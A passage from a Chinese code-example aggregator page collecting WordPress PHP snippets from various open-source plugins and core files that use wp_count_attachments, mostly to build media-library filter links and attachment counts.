当前位置: 首页>>代码示例>>PHP>>正文


PHP wp_count_attachments函数代码示例

本文整理汇总了PHP中wp_count_attachments函数的典型用法代码示例。如果您正苦于以下问题:PHP wp_count_attachments函数的具体用法?PHP wp_count_attachments怎么用?PHP wp_count_attachments使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。


在下文中一共展示了wp_count_attachments函数的14个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。

示例1: get_views

 function get_views()
 {
     global $wpdb, $post_mime_types, $avail_post_mime_types;
     $type_links = array();
     $_num_posts = (array) wp_count_attachments();
     $_total_posts = array_sum($_num_posts) - $_num_posts['trash'];
     if (!isset($total_orphans)) {
         $total_orphans = $wpdb->get_var("SELECT COUNT( * ) FROM {$wpdb->posts} WHERE post_type = 'attachment' AND post_status != 'trash' AND post_parent < 1");
     }
     $matches = wp_match_mime_types(array_keys($post_mime_types), array_keys($_num_posts));
     foreach ($matches as $type => $reals) {
         foreach ($reals as $real) {
             $num_posts[$type] = isset($num_posts[$type]) ? $num_posts[$type] + $_num_posts[$real] : $_num_posts[$real];
         }
     }
     $class = empty($_GET['post_mime_type']) && !isset($_GET['status']) ? ' class="current"' : '';
     $type_links['all'] = "<a href='upload.php'{$class}>" . sprintf(_nx('All <span class="count">(%s)</span>', 'All <span class="count">(%s)</span>', $_total_posts, 'uploaded files'), number_format_i18n($_total_posts)) . '</a>';
     foreach ($post_mime_types as $mime_type => $label) {
         $class = '';
         if (!wp_match_mime_types($mime_type, $avail_post_mime_types)) {
             continue;
         }
         if (!empty($_GET['post_mime_type']) && wp_match_mime_types($mime_type, $_GET['post_mime_type'])) {
             $class = ' class="current"';
         }
         if (!empty($num_posts[$mime_type])) {
             $type_links[$mime_type] = "<a href='upload.php?post_mime_type={$mime_type}'{$class}>" . sprintf(translate_nooped_plural($label[2], $num_posts[$mime_type]), number_format_i18n($num_posts[$mime_type])) . '</a>';
         }
     }
     if (!empty($_num_posts['trash'])) {
         $type_links['trash'] = '<a href="upload.php?status=trash"' . (isset($_GET['status']) && $_GET['status'] == 'trash' ? ' class="current"' : '') . '>' . sprintf(_nx('Trash <span class="count">(%s)</span>', 'Trash <span class="count">(%s)</span>', $_num_posts['trash'], 'uploaded files'), number_format_i18n($_num_posts['trash'])) . '</a>';
     }
     return array();
 }
开发者ID:sangikumar,项目名称:IP,代码行数:34,代码来源:class-frontend-uploader-wp-posts-list-table.php

示例2: get_views

 protected function get_views()
 {
     global $wpdb, $post_mime_types, $avail_post_mime_types;
     $type_links = array();
     $_num_posts = (array) wp_count_attachments();
     $_total_posts = array_sum($_num_posts) - $_num_posts['trash'];
     $total_orphans = $wpdb->get_var("SELECT COUNT( * ) FROM {$wpdb->posts} WHERE post_type = 'attachment' AND post_status != 'trash' AND post_parent < 1");
     $matches = wp_match_mime_types(array_keys($post_mime_types), array_keys($_num_posts));
     foreach ($matches as $type => $reals) {
         foreach ($reals as $real) {
             $num_posts[$type] = isset($num_posts[$type]) ? $num_posts[$type] + $_num_posts[$real] : $_num_posts[$real];
         }
     }
     $selected = empty($_GET['attachment-filter']) ? ' selected="selected"' : '';
     $type_links['all'] = "<option value=''{$selected}>" . sprintf(_nx('All (%s)', 'All (%s)', $_total_posts, 'uploaded files'), number_format_i18n($_total_posts)) . '</option>';
     foreach ($post_mime_types as $mime_type => $label) {
         if (!wp_match_mime_types($mime_type, $avail_post_mime_types)) {
             continue;
         }
         $selected = '';
         if (!empty($_GET['attachment-filter']) && strpos($_GET['attachment-filter'], 'post_mime_type:') === 0 && wp_match_mime_types($mime_type, str_replace('post_mime_type:', '', $_GET['attachment-filter']))) {
             $selected = ' selected="selected"';
         }
         if (!empty($num_posts[$mime_type])) {
             $type_links[$mime_type] = '<option value="post_mime_type:' . esc_attr($mime_type) . '"' . $selected . '>' . sprintf(translate_nooped_plural($label[2], $num_posts[$mime_type]), number_format_i18n($num_posts[$mime_type])) . '</option>';
         }
     }
     $type_links['detached'] = '<option value="detached"' . ($this->detached ? ' selected="selected"' : '') . '>' . sprintf(_nx('Unattached (%s)', 'Unattached (%s)', $total_orphans, 'detached files'), number_format_i18n($total_orphans)) . '</option>';
     $type_links['uncategorized'] = '<option value="uncategorized"' . ($this->uncategorized ? ' selected="selected"' : '') . '>' . __('All Uncategorized', 'eml') . '</option>';
     if (!empty($_num_posts['trash'])) {
         $type_links['trash'] = '<option value="trash"' . (isset($_GET['attachment-filter']) && $_GET['attachment-filter'] == 'trash' ? ' selected="selected"' : '') . '>' . sprintf(_nx('Trash (%s)', 'Trash (%s)', $_num_posts['trash'], 'uploaded files'), number_format_i18n($_num_posts['trash'])) . '</option>';
     }
     return $type_links;
 }
开发者ID:vanlong200880,项目名称:uni,代码行数:34,代码来源:class-eml-media-list-table.php

示例3: callback

 function callback($path = '', $blog_id = 0)
 {
     $blog_id = $this->api->switch_to_blog_and_validate_user($this->api->get_blog_id($blog_id));
     if (is_wp_error($blog_id)) {
         return $blog_id;
     }
     //upload_files can probably be used for other endpoints but we want contributors to be able to use media too
     if (!current_user_can('edit_posts')) {
         return new WP_Error('unauthorized', 'User cannot view media', 403);
     }
     $args = $this->query_args();
     if ($args['number'] < 1) {
         $args['number'] = 20;
     } elseif (100 < $args['number']) {
         return new WP_Error('invalid_number', 'The NUMBER parameter must be less than or equal to 100.', 400);
     }
     $media = get_posts(array('post_type' => 'attachment', 'post_parent' => $args['parent_id'], 'offset' => $args['offset'], 'numberposts' => $args['number'], 'post_mime_type' => $args['mime_type']));
     $response = array();
     foreach ($media as $item) {
         $response[] = $this->get_media_item($item->ID);
     }
     $_num = (array) wp_count_attachments();
     $_total_media = array_sum($_num) - $_num['trash'];
     $return = array('found' => $_total_media, 'media' => $response);
     return $return;
 }
开发者ID:StefanBonilla,项目名称:CoupSoup,代码行数:26,代码来源:class.wpcom-json-api-list-media-endpoint.php

示例4: total_count

 /**
  * Total Image count
  * @return int
  */
 function total_count()
 {
     global $wpsmushit_admin;
     //Remove the Filters added by WP Media Folder
     $this->remove_wmf_filters();
     $count = 0;
     $counts = wp_count_attachments($wpsmushit_admin->mime_types);
     foreach ($wpsmushit_admin->mime_types as $mime) {
         if (isset($counts->{$mime})) {
             $count += $counts->{$mime};
         }
     }
     // send the count
     return $count;
 }
开发者ID:qhuit,项目名称:alejandra,代码行数:19,代码来源:class-wp-smush-stats.php

示例5: media_upload_library_form

/**
 * {@internal Missing Short Description}}
 *
 * @since 2.5.0
 *
 * @param array $errors
 */
function media_upload_library_form($errors)
{
    global $wpdb, $wp_query, $wp_locale, $type, $tab, $post_mime_types;
    media_upload_header();
    $post_id = isset($_REQUEST['post_id']) ? intval($_REQUEST['post_id']) : 0;
    $form_action_url = admin_url("media-upload.php?type={$type}&tab=library&post_id={$post_id}");
    /** This filter is documented in wp-admin/includes/media.php */
    $form_action_url = apply_filters('media_upload_form_url', $form_action_url, $type);
    $form_class = 'media-upload-form validate';
    if (get_user_setting('uploader')) {
        $form_class .= ' html-uploader';
    }
    $q = $_GET;
    $q['posts_per_page'] = 10;
    $q['paged'] = isset($q['paged']) ? intval($q['paged']) : 0;
    if ($q['paged'] < 1) {
        $q['paged'] = 1;
    }
    $q['offset'] = ($q['paged'] - 1) * 10;
    if ($q['offset'] < 1) {
        $q['offset'] = 0;
    }
    list($post_mime_types, $avail_post_mime_types) = wp_edit_attachments_query($q);
    ?>

<form id="filter" action="" method="get">
<input type="hidden" name="type" value="<?php 
    echo esc_attr($type);
    ?>
" />
<input type="hidden" name="tab" value="<?php 
    echo esc_attr($tab);
    ?>
" />
<input type="hidden" name="post_id" value="<?php 
    echo (int) $post_id;
    ?>
" />
<input type="hidden" name="post_mime_type" value="<?php 
    echo isset($_GET['post_mime_type']) ? esc_attr($_GET['post_mime_type']) : '';
    ?>
" />
<input type="hidden" name="context" value="<?php 
    echo isset($_GET['context']) ? esc_attr($_GET['context']) : '';
    ?>
" />

<p id="media-search" class="search-box">
	<label class="screen-reader-text" for="media-search-input"><?php 
    _e('Search Media');
    ?>
:</label>
	<input type="search" id="media-search-input" name="s" value="<?php 
    the_search_query();
    ?>
" />
	<?php 
    submit_button(__('Search Media'), 'button', '', false);
    ?>
</p>

<ul class="subsubsub">
<?php 
    $type_links = array();
    $_num_posts = (array) wp_count_attachments();
    $matches = wp_match_mime_types(array_keys($post_mime_types), array_keys($_num_posts));
    foreach ($matches as $_type => $reals) {
        foreach ($reals as $real) {
            if (isset($num_posts[$_type])) {
                $num_posts[$_type] += $_num_posts[$real];
            } else {
                $num_posts[$_type] = $_num_posts[$real];
            }
        }
    }
    // If available type specified by media button clicked, filter by that type
    if (empty($_GET['post_mime_type']) && !empty($num_posts[$type])) {
        $_GET['post_mime_type'] = $type;
        list($post_mime_types, $avail_post_mime_types) = wp_edit_attachments_query();
    }
    if (empty($_GET['post_mime_type']) || $_GET['post_mime_type'] == 'all') {
        $class = ' class="current"';
    } else {
        $class = '';
    }
    $type_links[] = '<li><a href="' . esc_url(add_query_arg(array('post_mime_type' => 'all', 'paged' => false, 'm' => false))) . '"' . $class . '>' . __('All Types') . '</a>';
    foreach ($post_mime_types as $mime_type => $label) {
        $class = '';
        if (!wp_match_mime_types($mime_type, $avail_post_mime_types)) {
            continue;
        }
        if (isset($_GET['post_mime_type']) && wp_match_mime_types($mime_type, $_GET['post_mime_type'])) {
            $class = ' class="current"';
//.........这里部分代码省略.........
开发者ID:HaraShun,项目名称:WordPress,代码行数:101,代码来源:media.php

示例6: media_upload_library_form

/**
 * {@internal Missing Short Description}}
 *
 * @since unknown
 *
 * @param unknown_type $errors
 */
function media_upload_library_form($errors)
{
    global $wpdb, $wp_query, $wp_locale, $type, $tab, $post_mime_types;
    media_upload_header();
    $post_id = intval($_REQUEST['post_id']);
    $form_action_url = admin_url("media-upload.php?type={$GLOBALS['type']}&tab=library&post_id={$post_id}");
    $_GET['paged'] = isset($_GET['paged']) ? intval($_GET['paged']) : 0;
    if ($_GET['paged'] < 1) {
        $_GET['paged'] = 1;
    }
    $start = ($_GET['paged'] - 1) * 10;
    if ($start < 1) {
        $start = 0;
    }
    add_filter('post_limits', $limit_filter = create_function('$a', "return 'LIMIT {$start}, 10';"));
    list($post_mime_types, $avail_post_mime_types) = wp_edit_attachments_query();
    ?>

<form id="filter" action="" method="get">
<input type="hidden" name="type" value="<?php 
    echo esc_attr($type);
    ?>
" />
<input type="hidden" name="tab" value="<?php 
    echo esc_attr($tab);
    ?>
" />
<input type="hidden" name="post_id" value="<?php 
    echo (int) $post_id;
    ?>
" />
<input type="hidden" name="post_mime_type" value="<?php 
    echo isset($_GET['post_mime_type']) ? esc_attr($_GET['post_mime_type']) : '';
    ?>
" />

<p id="media-search" class="search-box">
	<label class="screen-reader-text" for="media-search-input"><?php 
    _e('Search Media');
    ?>
:</label>
	<input type="text" id="media-search-input" name="s" value="<?php 
    the_search_query();
    ?>
" />
	<input type="submit" value="<?php 
    esc_attr_e('Search Media');
    ?>
" class="button" />
</p>

<ul class="subsubsub">
<?php 
    $type_links = array();
    $_num_posts = (array) wp_count_attachments();
    $matches = wp_match_mime_types(array_keys($post_mime_types), array_keys($_num_posts));
    foreach ($matches as $_type => $reals) {
        foreach ($reals as $real) {
            if (isset($num_posts[$_type])) {
                $num_posts[$_type] += $_num_posts[$real];
            } else {
                $num_posts[$_type] = $_num_posts[$real];
            }
        }
    }
    // If available type specified by media button clicked, filter by that type
    if (empty($_GET['post_mime_type']) && !empty($num_posts[$type])) {
        $_GET['post_mime_type'] = $type;
        list($post_mime_types, $avail_post_mime_types) = wp_edit_attachments_query();
    }
    if (empty($_GET['post_mime_type']) || $_GET['post_mime_type'] == 'all') {
        $class = ' class="current"';
    } else {
        $class = '';
    }
    $type_links[] = "<li><a href='" . esc_url(add_query_arg(array('post_mime_type' => 'all', 'paged' => false, 'm' => false))) . "'{$class}>" . __('All Types') . "</a>";
    foreach ($post_mime_types as $mime_type => $label) {
        $class = '';
        if (!wp_match_mime_types($mime_type, $avail_post_mime_types)) {
            continue;
        }
        if (isset($_GET['post_mime_type']) && wp_match_mime_types($mime_type, $_GET['post_mime_type'])) {
            $class = ' class="current"';
        }
        $type_links[] = "<li><a href='" . esc_url(add_query_arg(array('post_mime_type' => $mime_type, 'paged' => false))) . "'{$class}>" . sprintf(_n($label[2][0], $label[2][1], $num_posts[$mime_type]), "<span id='{$mime_type}-counter'>" . number_format_i18n($num_posts[$mime_type]) . '</span>') . '</a>';
    }
    echo implode(' | </li>', $type_links) . '</li>';
    unset($type_links);
    ?>
</ul>

<div class="tablenav">

//.........这里部分代码省略.........
开发者ID:Alenjandro,项目名称:data-my-share,代码行数:101,代码来源:media.php

示例7: array

<?php 
if (isset($message)) {
    ?>
<div id="message" class="updated fade"><p><?php 
    echo $message;
    ?>
</p></div>
<?php 
}
?>

<ul class="subsubsub">
<?php 
$type_links = array();
$_num_posts = (array) wp_count_attachments();
$_total_posts = array_sum($_num_posts);
$matches = wp_match_mime_types(array_keys($post_mime_types), array_keys($_num_posts));
foreach ($matches as $type => $reals) {
    foreach ($reals as $real) {
        $num_posts[$type] = isset($num_posts[$type]) ? $num_posts[$type] + $_num_posts[$real] : $_num_posts[$real];
    }
}
$class = empty($_GET['post_mime_type']) && !isset($_GET['detached']) ? ' class="current"' : '';
$type_links[] = "<li><a href='upload.php'{$class}>" . sprintf(_nx('All <span class="count">(%s)</span>', 'All <span class="count">(%s)</span>', $_total_posts, 'uploaded files'), number_format_i18n($_total_posts)) . '</a>';
foreach ($post_mime_types as $mime_type => $label) {
    $class = '';
    if (!wp_match_mime_types($mime_type, $avail_post_mime_types)) {
        continue;
    }
    if (!empty($_GET['post_mime_type']) && wp_match_mime_types($mime_type, $_GET['post_mime_type'])) {
开发者ID:papayalabs,项目名称:htdocs,代码行数:30,代码来源:upload.php

示例8: media_upload_shared_media


//.........这里部分代码省略.........
                $blog_options = array();
                foreach ($this->blogs as $blog) {
                    $selected = '';
                    if ($blog['blog_id'] == $blog_id) {
                        $selected = ' selected="selected"';
                    }
                    $blog_options[] = "<option value='{$blog['blog_id']}'{$selected}>" . $blog['name'] . '</option>';
                }
                echo "<li>" . __('Select site:', 'networksharedmedia') . "</li><li> <select name='blog_id'>" . implode('', $blog_options) . '</select></li><li> ' . get_submit_button(__('Select &#187;', 'networksharedmedia'), 'secondary', 'nsm-post-query-submit', false) . '</li>';
                unset($blog_options);
            }
            unset($all_blog_names);
        }
        ?>
	</ul>

	<p id="media-search" class="search-box">
		<label class="screen-reader-text" for="media-search-input"><?php 
        _e('Search Media');
        ?>
:</label>
		<input type="text" id="media-search-input" name="s" value="<?php 
        the_search_query();
        ?>
" />
		<?php 
        submit_button(__('Search Media'), 'button', '', false);
        ?>
	</p>
	
	<ul class="subsubsub">
	<?php 
        $type_links = array();
        $_num_posts = (array) wp_count_attachments();
        $matches = wp_match_mime_types(array_keys($post_mime_types), array_keys($_num_posts));
        foreach ($matches as $_type => $reals) {
            foreach ($reals as $real) {
                if (isset($num_posts[$_type])) {
                    $num_posts[$_type] += $_num_posts[$real];
                } else {
                    $num_posts[$_type] = $_num_posts[$real];
                }
            }
        }
        // If available type specified by media button clicked, filter by that type
        if (empty($_GET['post_mime_type']) && !empty($num_posts[$type])) {
            $_GET['post_mime_type'] = $type;
            list($post_mime_types, $avail_post_mime_types) = wp_edit_attachments_query();
        }
        if (empty($_GET['post_mime_type']) || $_GET['post_mime_type'] == 'all') {
            $class = ' class="current"';
        } else {
            $class = '';
        }
        $type_links[] = "<li><a href='" . esc_url(add_query_arg(array('post_mime_type' => 'all', 'paged' => false, 'm' => false))) . "'{$class}>" . __('All Types') . "</a>";
        foreach ($post_mime_types as $mime_type => $label) {
            $class = '';
            if (!wp_match_mime_types($mime_type, $avail_post_mime_types)) {
                continue;
            }
            if (isset($_GET['post_mime_type']) && wp_match_mime_types($mime_type, $_GET['post_mime_type'])) {
                $class = ' class="current"';
            }
            $type_links[] = "<li><a href='" . esc_url(add_query_arg(array('post_mime_type' => $mime_type, 'paged' => false))) . "'{$class}>" . sprintf(translate_nooped_plural($label[2], $num_posts[$mime_type]), "<span id='{$mime_type}-counter'>" . number_format_i18n($num_posts[$mime_type]) . '</span>') . '</a>';
        }
        echo implode(' | </li>', apply_filters('media_upload_mime_type_links', $type_links)) . '</li>';
开发者ID:Buooy,项目名称:wp_network_shared_media,代码行数:67,代码来源:network_shared_media.php

示例9: _get_view

 /**
  * Returns HTML markup for one view that can be used with this table
  *
  * @since 1.40
  *
  * @param	string	View slug, key to MLA_POST_MIME_TYPES array 
  * @param	string	Slug for current view 
  * 
  * @return	string | false	HTML for link to display the view, false if count = zero
  */
 function _get_view($view_slug, $current_view)
 {
     global $wpdb;
     static $mla_types = NULL, $posts_per_type, $post_mime_types, $avail_post_mime_types, $matches, $num_posts;
     /*
      * Calculate the common values once per page load
      */
     if (is_null($mla_types)) {
         $query_types = MLAMime::mla_query_view_items(array('orderby' => 'menu_order'), 0, 0);
         if (!is_array($query_types)) {
             $query_types = array();
         }
         $mla_types = array();
         foreach ($query_types as $value) {
             $mla_types[$value->slug] = $value;
         }
         $posts_per_type = (array) wp_count_attachments();
         $post_mime_types = get_post_mime_types();
         $avail_post_mime_types = $this->_avail_mime_types($posts_per_type);
         $matches = wp_match_mime_types(array_keys($post_mime_types), array_keys($posts_per_type));
         foreach ($matches as $type => $reals) {
             foreach ($reals as $real) {
                 $num_posts[$type] = isset($num_posts[$type]) ? $num_posts[$type] + $posts_per_type[$real] : $posts_per_type[$real];
             }
         }
     }
     $class = $view_slug == $current_view ? ' class="current"' : '';
     $base_url = 'upload.php?page=' . MLA::ADMIN_PAGE_SLUG;
     /*
      * Handle the special cases: all, unattached and trash
      */
     switch ($view_slug) {
         case 'all':
             $total_items = array_sum($posts_per_type) - $posts_per_type['trash'];
             return "<a href='{$base_url}'{$class}>" . sprintf(_nx('All <span class="count">(%s)</span>', 'All <span class="count">(%s)</span>', $total_items, 'uploaded files'), number_format_i18n($total_items)) . '</a>';
         case 'unattached':
             $total_items = $wpdb->get_var("\r\n\t\t\t\t\t\tSELECT COUNT( * ) FROM {$wpdb->posts}\r\n\t\t\t\t\t\tWHERE post_type = 'attachment' AND post_status != 'trash' AND post_parent < 1\r\n\t\t\t\t\t\t");
             if ($total_items) {
                 return '<a href="' . add_query_arg(array('detached' => '1'), $base_url) . '"' . $class . '>' . sprintf(_nx('Unattached <span class="count">(%s)</span>', 'Unattached <span class="count">(%s)</span>', $total_items, 'detached files'), number_format_i18n($total_items)) . '</a>';
             } else {
                 return false;
             }
         case 'trash':
             if ($posts_per_type['trash']) {
                 return '<a href="' . add_query_arg(array('status' => 'trash'), $base_url) . '"' . $class . '>' . sprintf(_nx('Trash <span class="count">(%s)</span>', 'Trash <span class="count">(%s)</span>', $posts_per_type['trash'], 'uploaded files'), number_format_i18n($posts_per_type['trash'])) . '</a>';
             } else {
                 return false;
             }
     }
     // switch special cases
     /*
      * Make sure the slug is in our list
      */
     if (array_key_exists($view_slug, $mla_types)) {
         $mla_type = $mla_types[$view_slug];
     } else {
         return false;
     }
     /*
      * Handle post_mime_types
      */
     if ($mla_type->post_mime_type) {
         if (!empty($num_posts[$view_slug])) {
             return "<a href='" . add_query_arg(array('post_mime_type' => $view_slug), $base_url) . "'{$class}>" . sprintf(translate_nooped_plural($post_mime_types[$view_slug][2], $num_posts[$view_slug]), number_format_i18n($num_posts[$view_slug])) . '</a>';
         } else {
             return false;
         }
     }
     /*
      * Handle extended specification types
      */
     if (empty($mla_type->specification)) {
         $query = array('post_mime_type' => $view_slug);
     } else {
         $query = MLAMime::mla_prepare_view_query($view_slug, $mla_type->specification);
     }
     $total_items = MLAData::mla_count_list_table_items($query);
     if ($total_items) {
         $singular = sprintf('%s <span class="count">(%%s)</span>', $mla_type->singular);
         $plural = sprintf('%s <span class="count">(%%s)</span>', $mla_type->plural);
         $nooped_plural = _n_noop($singular, $plural);
         if (isset($query['post_mime_type'])) {
             $query['post_mime_type'] = urlencode($query['post_mime_type']);
         } else {
             $query['meta_query'] = urlencode(serialize($query['meta_query']));
         }
         return "<a href='" . add_query_arg($query, $base_url) . "'{$class}>" . sprintf(translate_nooped_plural($nooped_plural, $total_items), number_format_i18n($total_items)) . '</a>';
     }
     return false;
 }
开发者ID:rongandat,项目名称:best-picture,代码行数:100,代码来源:class-mla-list-table.php

示例10: _e



<tr valign="top">
	<td>
		<button type="submit" class="button button-primary"><?php 
_e('Save Changes', 'dreamspeed-cdn');
?>
</button>
	</td>
</tr>
</table>

</form>

<?php 
$all_attachments = wp_count_attachments();
if ($this->get_setting('copy-to-s3') == 1) {
    ?>
<h3><?php 
    _e('Migrate Existing Files', 'dreamspeed-cdn');
    ?>
</h3><?php 
    if (count($this->get_attachment_without_dreamspeed_info()) != 0) {
        ?>
		<form method="post">
		<input type="hidden" name="action" value="migrate" />
		<?php 
        wp_nonce_field('dreamspeed-save-settings');
        ?>
		
		<table class="form-table">
开发者ID:Nictech,项目名称:dreamspeed,代码行数:29,代码来源:settings.php

示例11: wpsight_media_custom_views

function wpsight_media_custom_views($views)
{
    global $wpdb, $wp_query, $pagenow;
    if ('upload.php' != $pagenow) {
        return;
    }
    if (empty($_GET['s'])) {
        return $views;
    }
    // Search custom fields for listing ID
    $post_ids_meta = $wpdb->get_col($wpdb->prepare("\n    SELECT DISTINCT post_id FROM {$wpdb->postmeta}\n    WHERE meta_value LIKE '%s'\n    ", $wp_query->query_vars['s']));
    if (!empty($post_ids_meta) && isset($_GET['s'])) {
        unset($views);
        $_num_posts = (array) wp_count_attachments();
        $_total_posts = array_sum($_num_posts) - $_num_posts['trash'];
        $views['all'] = '<a href="' . $pagenow . '">' . __('All', 'wpsight') . ' <span class="count">(' . $_total_posts . ')</span></a>';
        $views['found'] = '<a href="' . $pagenow . '?s=' . $_GET['s'] . '" class="current">' . $_GET['s'] . ' <span class="count">(' . $wp_query->found_posts . ')</span></a>';
    }
    return $views;
}
开发者ID:phucanh92,项目名称:vietlong,代码行数:20,代码来源:helpers.php

示例12: wp_enqueue_media

/**
 * Enqueues all scripts, styles, settings, and templates necessary to use
 * all media JS APIs.
 *
 * @since 3.5.0
 */
function wp_enqueue_media($args = array())
{
    // Enqueue me just once per page, please.
    if (did_action('wp_enqueue_media')) {
        return;
    }
    global $content_width;
    $defaults = array('post' => null);
    $args = wp_parse_args($args, $defaults);
    // We're going to pass the old thickbox media tabs to `media_upload_tabs`
    // to ensure plugins will work. We will then unset those tabs.
    $tabs = array('type' => '', 'type_url' => '', 'gallery' => '', 'library' => '');
    /** This filter is documented in wp-admin/includes/media.php */
    $tabs = apply_filters('media_upload_tabs', $tabs);
    unset($tabs['type'], $tabs['type_url'], $tabs['gallery'], $tabs['library']);
    $props = array('link' => get_option('image_default_link_type'), 'align' => get_option('image_default_align'), 'size' => get_option('image_default_size'));
    $exts = array_merge(wp_get_audio_extensions(), wp_get_video_extensions());
    $mimes = get_allowed_mime_types();
    $ext_mimes = array();
    foreach ($exts as $ext) {
        foreach ($mimes as $ext_preg => $mime_match) {
            if (preg_match('#' . $ext . '#i', $ext_preg)) {
                $ext_mimes[$ext] = $mime_match;
                break;
            }
        }
    }
    $audio = $video = 0;
    $counts = (array) wp_count_attachments();
    foreach ($counts as $mime => $total) {
        if (0 === strpos($mime, 'audio/')) {
            $audio += (int) $total;
        } elseif (0 === strpos($mime, 'video/')) {
            $video += (int) $total;
        }
    }
    $settings = array('tabs' => $tabs, 'tabUrl' => add_query_arg(array('chromeless' => true), admin_url('media-upload.php')), 'mimeTypes' => wp_list_pluck(get_post_mime_types(), 0), 'captions' => !apply_filters('disable_captions', ''), 'nonce' => array('sendToEditor' => wp_create_nonce('media-send-to-editor')), 'post' => array('id' => 0), 'defaultProps' => $props, 'attachmentCounts' => array('audio' => $audio, 'video' => $video), 'embedExts' => $exts, 'embedMimes' => $ext_mimes, 'contentWidth' => $content_width);
    $post = null;
    if (isset($args['post'])) {
        $post = get_post($args['post']);
        $settings['post'] = array('id' => $post->ID, 'nonce' => wp_create_nonce('update-post_' . $post->ID));
        $thumbnail_support = current_theme_supports('post-thumbnails', $post->post_type) && post_type_supports($post->post_type, 'thumbnail');
        if (!$thumbnail_support && 'attachment' === $post->post_type && $post->post_mime_type) {
            if (0 === strpos($post->post_mime_type, 'audio/')) {
                $thumbnail_support = post_type_supports('attachment:audio', 'thumbnail') || current_theme_supports('post-thumbnails', 'attachment:audio');
            } elseif (0 === strpos($post->post_mime_type, 'video/')) {
                $thumbnail_support = post_type_supports('attachment:video', 'thumbnail') || current_theme_supports('post-thumbnails', 'attachment:video');
            }
        }
        if ($thumbnail_support) {
            $featured_image_id = get_post_meta($post->ID, '_thumbnail_id', true);
            $settings['post']['featuredImageId'] = $featured_image_id ? $featured_image_id : -1;
        }
    }
    $hier = $post && is_post_type_hierarchical($post->post_type);
    $strings = array('url' => __('URL'), 'addMedia' => __('Add Media'), 'search' => __('Search'), 'select' => __('Select'), 'cancel' => __('Cancel'), 'update' => __('Update'), 'replace' => __('Replace'), 'remove' => __('Remove'), 'back' => __('Back'), 'selected' => __('%d selected'), 'dragInfo' => __('Drag and drop to reorder images.'), 'uploadFilesTitle' => __('Upload Files'), 'uploadImagesTitle' => __('Upload Images'), 'mediaLibraryTitle' => __('Media Library'), 'insertMediaTitle' => __('Insert Media'), 'createNewGallery' => __('Create a new gallery'), 'createNewPlaylist' => __('Create a new playlist'), 'createNewVideoPlaylist' => __('Create a new video playlist'), 'returnToLibrary' => __('&#8592; Return to library'), 'allMediaItems' => __('All media items'), 'noItemsFound' => __('No items found.'), 'insertIntoPost' => $hier ? __('Insert into page') : __('Insert into post'), 'uploadedToThisPost' => $hier ? __('Uploaded to this page') : __('Uploaded to this post'), 'warnDelete' => __("You are about to permanently delete this item.\n  'Cancel' to stop, 'OK' to delete."), 'insertFromUrlTitle' => __('Insert from URL'), 'setFeaturedImageTitle' => __('Set Featured Image'), 'setFeaturedImage' => __('Set featured image'), 'createGalleryTitle' => __('Create Gallery'), 'editGalleryTitle' => __('Edit Gallery'), 'cancelGalleryTitle' => __('&#8592; Cancel Gallery'), 'insertGallery' => __('Insert gallery'), 'updateGallery' => __('Update gallery'), 'addToGallery' => __('Add to gallery'), 'addToGalleryTitle' => __('Add to Gallery'), 'reverseOrder' => __('Reverse order'), 'imageDetailsTitle' => __('Image Details'), 'imageReplaceTitle' => __('Replace Image'), 'imageDetailsCancel' => __('Cancel Edit'), 'editImage' => __('Edit Image'), 'chooseImage' => __('Choose Image'), 'selectAndCrop' => __('Select and Crop'), 'skipCropping' => __('Skip Cropping'), 'cropImage' => __('Crop Image'), 'cropYourImage' => __('Crop your image'), 'cropping' => __('Cropping&hellip;'), 'suggestedDimensions' => __('Suggested image dimensions:'), 'cropError' => __('There has been an error cropping your image.'), 'audioDetailsTitle' => __('Audio Details'), 'audioReplaceTitle' => __('Replace Audio'), 'audioAddSourceTitle' => __('Add Audio Source'), 'audioDetailsCancel' => __('Cancel Edit'), 'videoDetailsTitle' => __('Video Details'), 'videoReplaceTitle' => __('Replace Video'), 'videoAddSourceTitle' => __('Add Video Source'), 'videoDetailsCancel' => __('Cancel Edit'), 'videoSelectPosterImageTitle' => _('Select Poster Image'), 'videoAddTrackTitle' => __('Add Subtitles'), 'playlistDragInfo' => __('Drag and drop to reorder tracks.'), 'createPlaylistTitle' => __('Create Audio Playlist'), 'editPlaylistTitle' => __('Edit Audio Playlist'), 'cancelPlaylistTitle' => __('&#8592; Cancel Audio Playlist'), 'insertPlaylist' => __('Insert audio playlist'), 'updatePlaylist' => __('Update audio playlist'), 'addToPlaylist' => __('Add to audio playlist'), 'addToPlaylistTitle' => __('Add to Audio Playlist'), 'videoPlaylistDragInfo' => __('Drag and drop to reorder videos.'), 'createVideoPlaylistTitle' => __('Create Video Playlist'), 'editVideoPlaylistTitle' => __('Edit Video Playlist'), 'cancelVideoPlaylistTitle' => __('&#8592; Cancel Video Playlist'), 'insertVideoPlaylist' => __('Insert video playlist'), 'updateVideoPlaylist' => __('Update video playlist'), 'addToVideoPlaylist' => __('Add to video playlist'), 'addToVideoPlaylistTitle' => __('Add to Video Playlist'));
    /**
     * Filter the media view settings.
     *
     * @since 3.5.0
     *
     * @param array   $settings List of media view settings.
     * @param WP_Post $post     Post object.
     */
    $settings = apply_filters('media_view_settings', $settings, $post);
    /**
     * Filter the media view strings.
     *
     * @since 3.5.0
     *
     * @param array   $strings List of media view strings.
     * @param WP_Post $post    Post object.
     */
    $strings = apply_filters('media_view_strings', $strings, $post);
    $strings['settings'] = $settings;
    wp_localize_script('media-views', '_wpMediaViewsL10n', $strings);
    wp_enqueue_script('media-editor');
    wp_enqueue_script('media-audiovideo');
    wp_enqueue_style('media-views');
    if (is_admin()) {
        wp_enqueue_script('mce-view');
        wp_enqueue_script('image-edit');
    }
    wp_enqueue_style('imgareaselect');
    wp_plupload_default_settings();
    require_once ABSPATH . WPINC . '/media-template.php';
    add_action('admin_footer', 'wp_print_media_templates');
    add_action('wp_footer', 'wp_print_media_templates');
    add_action('customize_controls_print_footer_scripts', 'wp_print_media_templates');
    /**
     * Fires at the conclusion of wp_enqueue_media().
     *
     * @since 3.5.0
     */
//.........这里部分代码省略.........
开发者ID:mynameiskyleok,项目名称:openshift-wordpress-developer-quickstart,代码行数:101,代码来源:media.php

示例13: onUploadTabs

 /**
  * Filter Media Library Upload Tabs
  *
  * This removes the 'From Url' and 'From Gallery' tabs. See wp-admin/includes/media.php
  * It also removes the 'NextGEN Gallery' tab, and inserts our own 'Downlaod from URL' tab
  *
